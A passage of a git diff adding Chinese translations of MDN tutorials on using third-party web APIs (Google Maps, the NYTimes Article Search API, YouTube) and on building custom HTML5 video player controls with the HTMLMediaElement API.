type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script></pre> + +<p>然后您便可使用该库中可用的对象了,如:</p> + +<pre class="brush: js notranslate">var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); +var myOptions = { + zoom: 8, + center: latlng, + mapTypeId: google.maps.MapTypeId.TERRAIN, + disableDefaultUI: true +} + +var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);</pre> + +<p>代码中我们用 <code>google.maps.LatLng()</code> 构造器创建了一个新的 <code>LatLng</code> 对象,它包含了我们想展示的地址的纬度和经度,作为一个Geolocation API返回。然后,我们创建了包含这个对象,和其他有关地图显示信息的选项对象(<code>myOptions</code>) 。最后,用 <code>google.maps.Map()</code> 构造器创建了<code>map</code>对象,它接受网页元素(地图展示处)和选项对象两个参数。</p> + +<p>以上就是用 Google Maps API 建立一个简单地图所需要的所有信息。所有复杂的工作都全由你所连接的第三方服务器处理,包括展示正确地理位置的地图块,等等。</p> + +<div class="note"> +<p><strong>Note</strong>: 一些api处理对其功能的访问略有不同,相反,它们要求开发人员向特定的URL模式发出HTTP请求(参见从服务器获取数据),以检索特定的数据。这些被称为RESTful api,稍后我们将在文章中展示这个示例。</p> +</div> + +<h3 id="权限的不同处理方式">权限的不同处理方式</h3> + +<p>正如我们在第一篇文章中所讨论的,浏览器api的安全性通常是通过权限提示。这样做的目的是为了让用户知道他们访问的网站上发生了什么,并且不太可能成为恶意使用API的人的受害者。</p> + +<p>第三方API有一个稍微不同的权限系统——它们倾向于使用关键代码来允许开发人员访问API功能。再次查看我们链接到的谷歌地图API库的URL:</p> + +<pre class="notranslate">https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA</pre> + +<p>URL末尾提供的URL参数是一个开发人员密钥—应用程序的开发人员必须应用它来获取一个密钥,然后以一种特定的方式将其包含在代码中,才能允许访问API的功能。对于谷歌映射(以及其他谷歌API),可以在谷歌云平台上申请一个密钥。</p> + +<p>其他API的包含方式稍微不同,但是大多数API的模式都非常相似。</p> + +<p>需要密钥的原因是:所用使用API功能的人都需要承担责任。当开发者注册一个密钥之后,如果他们开始恶意使用API(例如跟踪位置,试图用大量的垃圾邮件干扰用户正常工作),此时API的提供者可以采取措施。最简单的措施是撤销开发者的API的使用权。</p> + +<h2 id="扩展the_Google_Maps示例">扩展the Google Maps示例</h2> + +<p>现在我们已经检验了Google Maps API示例以及它的运作方式,让我们添加一些更多的功能来展示如何使用API的其他特性。</p> + +<ol> + <li> + <p>要开始这个部分, 确保你已经在一个新的目录复制 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/google-maps/maps_start.html">Google Maps启动文件</a>。 如果你已经 <a href="/en-US/docs/Learn#Getting_our_code_examples">克隆了示例存储库</a>,那么你已经拥有了一个这个文件的拷贝,你可以在<em>javascript/apis/third-party-apis/google-maps目录中找到该文件。</em></p> + </li> + <li> + <p>接下来,用以下步骤获取你自己的开发者密钥:</p> + + <ol> + <li>跳转到 <a href="https://console.cloud.google.com/apis/dashboard">Google Cloud Platform API Manager dashboard</a>.</li> + <li>如果你还没有新项目,请创建一个新项目。</li> + <li>单击“启用 API”按钮。</li> + <li>选择<em>Google Maps JavaScript API</em>.</li> + <li>单击“启用”按钮。</li> + <li>单击创建凭据,然后选择API密钥。</li> + <li>复制你的API密钥并将示例中的第一个{{htmlelement("script")}}元素中的现有密钥替换为你自己的密钥。(位于<code>?key=</code>和属性结束引号标记 (<code>"</code>)之间的位置。)</li> + </ol> + + <div class="note"> + <p><strong>注意:获取</strong>Google相关API密钥可能会有一点困难——Google Cloud Platform API Manager有许多不同的屏幕 ,并且工作流程可能因您是否设置账户而变得细微的不同。如果您在执行此步骤时遇到了困难,我们将很乐意为您提供帮助——<a href="/en-US/docs/Learn#Contact_us">联系我们</a>。</p> + </div> + </li> + <li>打开你的Google Maps起始文件,找到<code>INSERT-YOUR-API-KEY-HERE</code>字符串,然后将其替换为你从Google Cloud Platform API Manager dashboard获取的实际API密钥。</li> +</ol> + +<h3 id="添加自定义标记">添加自定义标记</h3> + +<p>添加一个标记在地图上(icon)在某种程度上是很容易的,你只需要创建一个新的标记使用google.maps.Marker()构造函数,传递给它一个包含位置显示标记的选择对象(如LatLng对象),和Map对象来显示它。</p> + +<ol> + <li> + <p>在 <code>var map ...</code> 行下面添加下列代码:</p> + + <pre class="brush: js notranslate">var marker = new google.maps.Marker({ + position: latlng, + map: map +});</pre> + + <p>现在如果你刷新你的页面, 你会看到地图中间弹出了一个小小的漂亮标记。这很酷, 但是这并不是一个定制的标记图标 — 它使用了默认的标记图标。</p> + </li> + <li> + <p>如果要使用定制化的图标,我们需要在创建标记时通过URL来明确说明。首先,在刚才添加的代码块之后添加下面的代码:</p> + + <pre class="brush: js notranslate">var iconBase = 'https://maps.google.com/mapfiles/kml/shapes/';</pre> + + <p>这定义了所有Google Maps官方图标存储的URL(如果你想的话你也可以使用你自己的图标存储位置)。</p> + </li> + <li> + <p>图标的位置应当在选项对象的<code>icon</code> 属性中说明。更新Constructor并添加icon属性,如下:</p> + + <pre class="brush: js notranslate">var marker = new google.maps.Marker({ + position: latlng, + icon: iconBase + 'flag_maps.png', + map: map +});</pre> + + <p>这里我们用<code>iconBase</code> 加上图标的文件名,从而创建完整URL的方式阐明了icon属性。现在尝试重新加载你的例子,你会看到你的地图上显示了一个定制的标记!</p> + </li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: 访问 <a href="https://developers.google.com/maps/documentation/javascript/custom-markers">Customizing a Google Map: Custom Markers</a> 以查看更多信息。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: 访问 <a href="https://fusiontables.google.com/DataSource?dsrcid=308519#map:id=3">Map marker or Icon names</a> 以找出还有哪些可以的图标,并查看它们的引用名称是什么。它们的文件名应当是当你点击它们时显示出的图标名,最后带有".png"。</p> +</div> + +<h3 id="单击标记时显示弹出窗口"><span class="tlid-translation translation" lang="zh-CN"><span title="">单击标记时显示弹出窗口</span></span></h3> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">Google地图的另一个常见用例是在点击其名称或标记时显示有关某个地点的更多信息(弹出式广告在Google Maps API中称为信息窗口)。</span> <span title="">这也很容易实现,所以让我们来看看它。</span></span></p> + +<ol> + <li> + <p><span class="tlid-translation translation" lang="zh-CN"><span title="">首先,您需要指定一个包含HTML的JavaScript字符串,该字符串将定义弹出窗口的内容。</span> <span title="">这将由API注入弹出窗口,并且可以包含您想要的任何内容。</span> <span title="">在<code>google.maps.Marker()</code>构造函数定义下面添加以下行:</span></span></p> + + <pre class="brush: js notranslate">var contentString = '<div id="content"><h2 id="firstHeading" class="firstHeading">Custom info window</h2><p>This is a cool custom info window.</p></div>';</pre> + </li> + <li> + <p>然后,你需要使用<code>google.maps.InfoWindow()</code> 构造器,创建一个新的info window object。在之前的代码下面,添加以下代码:</p> + + <pre class="brush: js notranslate">var infowindow = new google.maps.InfoWindow({ + content: contentString +});</pre> + + <p>还有其他可用的属性 (查看 <a href="https://developers.google.com/maps/documentation/javascript/infowindows">Info Windows</a>), 但是在这里我们只具体说明指向内容源的<code>content</code> 属性。</p> + </li> + <li> + <p>最后,为了在单击标记(marker)时显示弹出窗口,我们使用了一个简单的点击事件处理器。在<code>google.maps.InfoWindow()</code>构造器代码下面,添加以下代码:</p> + + <pre class="brush: js notranslate">marker.addListener('click', function() { + infowindow.open(map, marker); +});</pre> + + <p>在函数中,我们只需调用 infowindow 的 <code>open()</code> 函数,该函数将要显示它的地图和希望它显示在旁边的标记作为参数。</p> + </li> + <li> + <p>现在尝试重新加载示例,然后单击标记!</p> + </li> +</ol> + +<h3 id="Controlling_what_map_controls_are_displayed">Controlling what map controls are displayed</h3> + +<p>在原始 <code>google.maps.Map()</code>构造函数中,将看到 <code>disableDefaultUI: true</code> 。这将禁用您通常在 Google 地图上获得的所有标准 UI 控件。</p> + +<ol> + <li> + <p>将其值设置为 <code>false</code> (或完全删除此属性),重新加载示例,将看到地图缩放按钮、 scale indicator等等。</p> + </li> + <li> + <p>现在撤销上一次更改。</p> + </li> + <li> + <p>通过使用指定单个 UI 功能的其他属性,可以更精细地显示或隐藏控件。尝试在 <code>disableDefaultUI: true</code> 的下面添加代码(请记住在 <code>disableDefaultUI: true</code> 之后输入逗号,否则将收到错误):</p> + + <pre class="brush: js notranslate">zoomControl: true, +mapTypeControl: true, +scaleControl: true,</pre> + </li> + <li> + <p>现在尝试重新加载示例以查看这些属性的效果。您可以在 <a href="https://developers.google.com/maps/documentation/javascript/3.exp/reference#MapOptions">MapOptions object reference page</a>找到更多属性。</p> + </li> +</ol> + +<p>就是现在 - 看看 <a href="https://developers.google.com/maps/documentation/javascript/">Google Maps APIs documentation</a>,发现更多乐趣!</p> + +<h2 id="一个RESTful_API_—_NYTimes">一个RESTful API — NYTimes</h2> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">现在让我们看看另一个API示例</span></span> - <a href="https://developer.nytimes.com">New York Times API</a><span class="tlid-translation translation" lang="zh-CN"><span title="">。</span> <span title="">此API允许您检索纽约时报的新闻故事信息并将其显示在您的网站上。</span> <span title="">这种类型的API称为RESTful API - 我们不像使用Google地图那样使用JavaScript库的功能获取数据,而是通过向特定网址发出HTTP请求来获取数据,其中包含搜索术语和其他属性编码的数据</span> <span title="">URL(通常作为URL参数)。</span> <span title="">这是您在API中遇到的常见模式。</span></span></p> + +<h2 id="使用第三方API的方法">使用第三方API的方法</h2> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">下面我们将带您完成练习,向您展示如何使用NYTimes API,它还提供了一组更为通用的步骤,您可以将其用作处理新API的方法。</span></span></p> + +<h3 id="查找文档"><span class="tlid-translation translation" lang="zh-CN"><span title="">查找文档</span></span></h3> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">当您想要使用第三方API时,必须找出文档的位置,以便了解API具有哪些功能,以及如何使用它们等等。NYTimes API文档位于</span></span> <a href="https://developer.nytimes.com/">https://developer.nytimes.com/</a>。</p> + +<h3 id="获取一个开发者密钥">获取一个开发者密钥</h3> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">出于安全性和问责制的原因,大多数API都要求您使用某种开发人员密钥。</span> <span title="">要注册NYTimes API密钥,您需要访问</span></span> <a href="https://developer.nytimes.com/signup">https://developer.nytimes.com/signup</a>。</p> + +<ol> + <li> + <p>申请 "Article Search API" 的 API key ——新建一个应用,选择这个 API ,(填写名称和描述,打开 "Article Search API" 下面的开关,然后点击 “创建(Create)”)</p> + </li> + <li> + <p>从结果页面获取 API 。</p> + </li> + <li> + <p>现在开始构建这个应用,下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes_start.html">nytimes_start.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes.css">nytimes.css</a> 到一个新的本地目录。如果已经克隆过这个仓库 <a href="/en-US/docs/Learn#Getting_our_code_examples">cloned the examples repository</a>, 里面就已经有这 2 个文件了,它们存放在 <em>javascript/apis/third-party-apis/nytimes</em> 目录下。HTML 文件里的 <code><script></code> 标签下已经包含了构建这个应用需要用到的变量;下面我们来填写函数。</p> + </li> +</ol> + +<p>下面是这个应用最终的样子,可以在搜索框里填写条目、起始日期和结束日期,作为参数向 Article Search API 接口发起查询,然后显示查询结果。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14821/nytimes-search.png" style="border-style: solid; border-width: 1px; display: block; height: 374px; margin: 0px auto; width: 700px;"></p> + +<h3 id="将API连接到应用">将API连接到应用</h3> + +<p>首先,建立 API 和本地应用的连接。对于这个 API ,每次向服务器对应的 URL 发起 get 请求,都需要把 API key 作为 get 请求的参数。</p> + +<ol> + <li> + <p>在代码中找到下面这行:</p> + + <pre class="brush: js notranslate">var key = 'INSERT-YOUR-API-KEY-HERE';</pre> + + <p>把 <code>INSERT-YOUR-API-KEY-HERE</code> 替换为在上一节中获得的 API key.</p> + </li> + <li> + <p>添加下面这行代码到 JavaScript 代码中。添加到注释 "<code>// Event listeners to control the functionality</code>" 的下面。当表单提交时 (按钮按下时) 运行这个函数 <code>submitSearch()</code> .</p> + + <pre class="brush: js notranslate">searchForm.addEventListener('submit', <code>submitSearch</code>);</pre> + </li> + <li> + <p>添加 <code>submitSearch()</code> 和 <code>fetchResults()</code> 函数如下:</p> + + <pre class="notranslate">function submitSearch(e) { + pageNumber = 0; + fetchResults(e); +} + +function fetchResults(e) { + // Use preventDefault() to stop the form submitting + e.preventDefault(); + + // Assemble the full URL + url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value + '&fq=document_type:("article")'; + + if(startDate.value !== '') { + url += '&begin_date=' + startDate.value; + }; + + if(endDate.value !== '') { + url += '&end_date=' + endDate.value; + }; + +}</pre> + </li> +</ol> + +<p><code>submitSearch()</code> 设置起始页码为 0 ,然后调用 <code>fetchResults()</code> 函数。其中,先调用事件对象的 <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> 函数,阻止实际的表单提交事件 (会破坏应用,至于为什么可以自己试一试)。然后,处理字符串,构建完整的请求 URL 。以下是几个必要的步骤:</p> + +<ul> + <li>基本的 URL ( <code>baseURL</code> 变量).</li> + <li> API key ,需要放到 <code>api-key</code> URL 参数里面去 ( <code>key</code> 变量).</li> + <li>页码,需要放到 <code>page</code> URL 参数里面去 ( <code>pageNumber</code> 变量).</li> + <li>搜索项,需要放到 <code>q</code> URL 参数里面去 ( <code>searchTerm</code> 输入框的文字 {{htmlelement("input")}}).</li> +</ul> + +<p>然后,用几个 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if()</a></code> 代码块检测 <code>startDate</code> 和 <code>endDate</code> <code><input></code> 输入框里面是否有文字内容。如果有,再把输入框里的内容分别填写到 <code>begin_date</code> 和 <code>end_date</code> URL 参数里面去。</p> + +<p>最后,完整的 URL 如下所示:</p> + +<pre class="notranslate">https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=4f3c267e125943d79b0a3e679f608a78&page=0&q=cats +&begin_date=20170301&end_date=20170312</pre> + +<div class="note"> +<p><strong>Note</strong>: 更多 URL 参数的说明参考 <a href="https://developer.nytimes.com/">NYTimes developer docs</a>.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: 示例包含了基本的表单数据验证操作 — 表项提交之前必须有内容 (用 <code>required</code> 属性实现),此外,日期字段有确定的 <code>pattern</code> 属性,它们的值必须由 8 个数字组成 (<code>pattern="[0-9]{8}"</code>),否则不能提交。更多细节参考 <a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a> </p> +</div> + +<h3 id="从api请求数据">从api请求数据</h3> + +<p>现在 URL 已经构造好了,下面向它发起请求。本例使用 <a href="/ch-CN/docs/Web/API/Fetch_API/Using_Fetch">Fetch API </a></p> + +<p>把下面的代码块添加到 <code>fetchResults()</code> 函数末尾的大括号里面:</p> + +<pre class="brush: js notranslate">// Use fetch() to make the request to the API +fetch(url).then(function(result) { + return result.json(); +}).then(function(json) { + displayResults(json); +});</pre> + +<p>这段代码用于发起请求,把变量 <code>url</code> 作为 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> 函数的参数,用 <code><a href="/en-US/docs/Web/API/Body/json">json()</a></code> 函数把响应的结果转换为 JSON 格式,然后把 JSON 数据传递给 <code>displayResults()</code> 函数,数据就可以在 UI 中显示出来了。</p> + +<h3 id="显示数据">显示数据</h3> + +<p>OK,下面是显示数据的部分。把下面的函数添加到 <code>fetchResults()</code> 函数下面。</p> + +<pre class="brush: js notranslate">function displayResults(json) { + while (section.firstChild) { + section.removeChild(section.firstChild); + } + + var articles = json.response.docs; + + if(articles.length === 10) { + nav.style.display = 'block'; + } else { + nav.style.display = 'none'; + } + + if(articles.length === 0) { + var para = document.createElement('p'); + para.textContent = 'No results returned.' + section.appendChild(para); + } else { + for(var i = 0; i < articles.length; i++) { + var article = document.createElement('article'); + var heading = document.createElement('h2'); + var link = document.createElement('a'); + var img = document.createElement('img'); + var para1 = document.createElement('p'); + var para2 = document.createElement('p'); + var clearfix = document.createElement('div'); + + var current = articles[i]; + console.log(current); + + link.href = current.web_url; + link.textContent = current.headline.main; + para1.textContent = current.lead_paragraph; + para2.textContent = 'Keywords: '; + for(var j = 0; j < current.keywords.length; j++) { + var span = document.createElement('span'); + span.textContent += current.keywords[j].value + ' '; + para2.appendChild(span); + } + + if(current.multimedia.length > 0) { + img.src = 'http://www.nytimes.com/' + current.multimedia[0].url; + img.alt = current.headline.main; + } + + clearfix.setAttribute('class','clearfix'); + + article.appendChild(heading); + heading.appendChild(link); + article.appendChild(img); + article.appendChild(para1); + article.appendChild(para2); + article.appendChild(clearfix); + section.appendChild(article); + } + } +};</pre> + +<p>这一段有好多代码;下面一一解释:</p> + +<ul> + <li>第一个 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> 循环是通用的操作,用于删除 DOM 结点里面的所有内容,在本例中是 {{htmlelement("section")}} 元素。不断查询 <code><section></code> 结点是否有子节点,如果有,就删除。当 <code><section></code> 没有子节点时退出循环。</li> + <li>然后,把 <code>articles</code> 变量赋值为 <code>json.response.docs</code> — 它来自查询结果,是所有文章对象构成的数组。单独写出这一行来,下面的代码会清晰一些。</li> + <li>第一个 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if()</a></code> 检测查询到的文章数量是否是 10 (该 API 一次最多返回 10 篇文章) 如果是,就把 {{htmlelement("nav")}} 显示出来,里面包含有 <em>前 10/后 10(Previous 10/Next 10) </em>翻页按钮。如果返回的文章数量不足 10,就直接显示在 1 页里,不需要显示翻页按钮。在下一节中将展示翻页功能的实现。</li> + <li>下一个 <code>if()</code> 检测是否没有文章返回。如果是,就什么都不显示 — 创建一个 {{htmlelement("p")}} 结点,填写提示 "无结果。" 然后把该结点插入到 <code><section></code> 结点中。</li> + <li>如果有一些文章返回,第一步,创建所有用于展示新闻信息的结点,依次填写对应的文章内容,再把这些结点插入到合适的 DOM 结点下。至于文章对象里面的哪个属性包含需要展示的信息,查询 <a href="https://developer.nytimes.com/article_search_v2.json">Article Search API reference</a>. 大部分操作都很简单,但是个别需要提示一下: + <ul> + <li>使用 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for loop</a> (<code>for(var j = 0; j < current.keywords.length; j++) { ... }</code> ) 遍历每篇文章关联的关键字,再把它们插入到各自的 {{htmlelement("span")}} 标签,在 <code><p></code> 标签里面,这样做可以方便样式表的编辑。</li> + <li>使用 <code>if()</code> 代码块 (<code>if(current.multimedia.length > 0) { ... }</code>) 检测每篇文章是否有对应的图片 (有些没有) 。只有当检测到有时,显示首张图片 (否则抛出异常)。</li> + <li>把 <div> 结点设置一个 class 属性 "clearfix",这样清理操作 (apply clearing to it) 就很容易了。</li> + </ul> + </li> +</ul> + +<h3 id="添加分页按钮">添加分页按钮</h3> + +<p>为了使分页按钮工作,我们将增加(或减少)<code>pageNumber</code> 变量的值,然后用页面 url 参数中包含的新值重新运行 fetch 请求。这么做是因为 NYTimes API 每次最多只返回 10 篇文章 — 如果查询结果超过 10 篇,而 <code>page</code> URL 参数设为 0 (或者忽略这个参数 — 0 是默认值),只返回前 10 篇 (0-9) ,后续的 10 篇 (10-19) 对应参数值 1 ,以此类推。</p> + +<p>根据这个特性就可以轻松实现一个简单的翻页函数。</p> + +<ol> + <li> + <p>下面的代码中,在 <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> 函数中添加这 2 个新事件,即把 <code>nextPage()</code> 和 <code>previousPage()</code> 函数链接到相应的按键点击事件上:</p> + + <pre class="brush: js notranslate">nextBtn.addEventListener('click', nextPage); +previousBtn.addEventListener('click', previousPage);</pre> + </li> + <li> + <p>在上边代码的基础上,定义这 2 个函数 — 添加下面代码:</p> + + <pre class="brush: js notranslate">function nextPage(e) { + pageNumber++; + fetchResults(e); +}; + +function previousPage(e) { + if(pageNumber > 0) { + pageNumber--; + } else { + return; + } + fetchResults(e); +};</pre> + + <p>第一个函数很简单 — 增加 <code>pageNumber</code> 变量,然后再次运行 <code>fetchResults()</code> 函数 展示下一页的结果。</p> + + <p>第二个函数基本上执行相反的操作,不过有个额外的步骤是检测 <code>pageNumber</code> 在 -1 之前是否已经是 0 — 如果 fetch 请求的 <code>page</code> URL 参数是负数,会导致错误。如果 <code>pageNumber</code> 已经是 0 ,则直接执行 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 退出函数,避免多余的计算。 (如果当前页面已经是首页,就不需要重新加载)。</p> + </li> +</ol> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 完整代码参考 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/index.html">finished nytimes API example code on GitHub</a> (实例参考 <a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/nytimes/">see it running live here</a>).</p> +</div> + +<h2 id="YouTube示例">YouTube示例</h2> + +<p>我们还做了另外一个示例用来学习 — 参考 <a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/youtube/">YouTube video search example</a>. 这个示例用了下面 2 个 API:</p> + +<ul> + <li><a href="https://developers.google.com/youtube/v3/docs/">YouTube Data API</a> ,搜索 YouTube 视频并返回结果。</li> + <li><a href="https://developers.google.com/youtube/iframe_api_reference">YouTube IFrame Player API</a> ,把返回的视频查询结果展示到 IFrame 视频播放器里,然后就可以播放了。</li> +</ul> + +<p>这个示例的有趣之处在于,它把两个第三方 API 结合起来做了一个应用。第一个 API 是 RESTful API ,而第二个 API 更像是 Mapquest (有 API 专用方法 (API-specific methods), etc.)。但是,值得注意的是,这两个 API 均需要将 JavaScript 库应用于该页面。RESTful API 自己有用于处理 HTTP 请求并返回结果的函数。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14823/youtube-example.png" style="border-style: solid; border-width: 1px; display: block; height: 389px; margin: 0px auto; width: 700px;"></p> + +<p>本文不会对该示例做过多的叙述 — <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube">源码</a> 中有详细的注释。</p> + +<p>运行源码需要:</p> + +<ul> + <li>从 <a href="https://cloud.google.com/">Google Cloud</a> 获取 API key.</li> + <li>找到源码中的 <code>ENTER-API-KEY-HERE</code> 字符串,替换为 API key.</li> + <li>把示例运行在 web 服务器上。只是用浏览器打开文件是不会工作的 (例如,通过 <code>file://</code> URL 打开).</li> +</ul> + +<h2 id="小结">小结</h2> + +<p>本文介绍了如何使用第三方 API 给网页添加功能。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html new file mode 100644 index 0000000000..45d379f4b4 --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html @@ -0,0 +1,499 @@ +--- +title: 视频和音频API +slug: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +translation_of: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">HTML5提供了用于在文档中嵌入富媒体的元素 — {{htmlelement("video")}}和{{htmlelement("audio")}} — 这些元素通过自带的API来控制视频或音频的播放,定位进度等。本文将向你展示如何执行一些常见的任务,如创建自定义播放控件。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>JavaScript基础(见<a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript第一步</a>,<a href="/zh-CN/docs/learn/JavaScript/Building_blocks">创建JavaScript代码块</a>,<a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript对象入门</a>),<a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API简介</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何通过浏览器API来控制视频和音频的播放。</td> + </tr> + </tbody> +</table> + +<h2 id="HTML5视频和音频">HTML5视频和音频</h2> + +<p>{{htmlelement("video")}}和{{htmlelement("audio")}}元素允许我们把视频和音频嵌入到网页当中。就像我们在<a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">音频和视频内容</a>文中展示的一样,一个典型的实现如下所示:</p> + +<pre class="brush: html"><video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> +</video></pre> + +<p>上述代码将会在浏览器内部创建一个如下图所示的视频播放器:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}}</p> + +<p>你可以点击上面的文章链接来查看相关HTML元素的所有特性;但在这篇文章中,主要目的是学习我们最感兴趣的{{htmlattrxref("controls", "video")}}属性,它会启用默认的播放设置。如果没有指定该属性,则播放器中不会显示相关控件:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}}</p> + +<p>至此,你可能会觉得这个属性作用不大,但是它确实很有优势。使用原生浏览器控件的一个很大的问题在于,它们在各个浏览器中都不相同 — 对于跨浏览器的支持并不是很好!另一个问题是,在大多数浏览器中原生控件难以通过键盘来操作。</p> + +<p>你可以通过隐藏本地控件(通过删除controls属性),然后使用HTML,CSS和JavaScript编写自己的代码来解决这两个问题。 在下一节中,我们将看到如何通过一些可用的工具来实现。</p> + +<h2 id="HTMLMediaElement_API">HTMLMediaElement API</h2> + +<p>作为HTML5规范的一部分,{{domxref("HTMLMediaElement")}} API提供允许你以编程方式来控制视频和音频播放的功能—例如 {{domxref("HTMLMediaElement.play()")}}, {{domxref("HTMLMediaElement.pause()")}},等。该接口对{{htmlelement("audio")}}和{{htmlelement("video")}}两个元素都是可用的,因为在这两个元素中要实现的功能几乎是相同的。让我们通过一个例子来一步步演示一些功能。</p> + +<p>我们最终的示例(和功能)将会如下所示:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}}</p> + +<h3 id="入门">入门</h3> + +<p>想要使用这个示例的代码来入门,请下载<a href="https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip">media-player-start.zip</a> 并解压到您的硬盘上的一个新建目录里。如果想要下载<a href="">examples repo</a>,它位于<code>javascript/apis/video-audio/start/ </code>路径下。</p> + +<p>下载并解压之后,如果您加载这个HTML,你将会看到一个通过浏览器原生播放控件渲染的非常一般的HTML5视频播放器。</p> + +<h4 id="探索_HTML">探索 HTML</h4> + +<p>打开HTML index文件。你将看到一些功能;HTML由视频播放器和它的控件所控制:</p> + +<pre><div class="player"> + <video controls> + <source src="video/sintel-short.mp4" type="video/mp4"> + <source src="video/sintel-short.mp4" type="video/webm"> + <!-- fallback content here --> + </video> + <div class="controls"> + <button class="play" data-icon="P" aria-label="play pause toggle"></button> + <button class="stop" data-icon="S" aria-label="stop"></button> + <div class="timer"> + <div></div> + <span aria-label="timer">00:00</span> + </div> + <button class="rwd" data-icon="B" aria-label="rewind"></button> + <button class="fwd" data-icon="F" aria-label="fast forward"></button> + </div> +</div> +</pre> + +<ul> + <li>整个播放器被包装在一个{{htmlelement("div")}}元素之中,所以如果有必要的话,可以把它作为一个单元整体来设置其样式。</li> + <li>{{htmlelement("video")}}元素层包含两个{{htmlelement("source")}}元素,这样可以根据浏览器来加载其所支持的不同视频格式。</li> + <li>控件 HTML 大概是最有趣的: + <ul> + <li>我们有四个 {{htmlelement("button")}} — play/pause, stop, rewind, and fast forward.</li> + <li>每个<code><button></code> 都有一个<code>class名</code> , 一个<code>data-icon</code> 属性来决定在每个按钮上显示什么图标 (在下一节讲述它是如何工作的), 和一个<code>aria-label</code> 属性为每一个按钮提供容易理解的描述, 即使我们没有在tags内提供可读的标签。当用户关注这些元素时含有<code>aria-label</code> 属性的内容也会被讲述人读出来。</li> + <li>有一个设定的计时器 {{htmlelement("div")}}用来报告已经播放的时长。为了好玩,我们提供了两种报告机制 — 一个 {{htmlelement("span")}} 包含了流逝时间的分钟和秒,和一个额外的<code><div></code> 用来创建一个水平的随着时间增加而增长的进度条。要想了解完成版本看上去是咋样的, <a 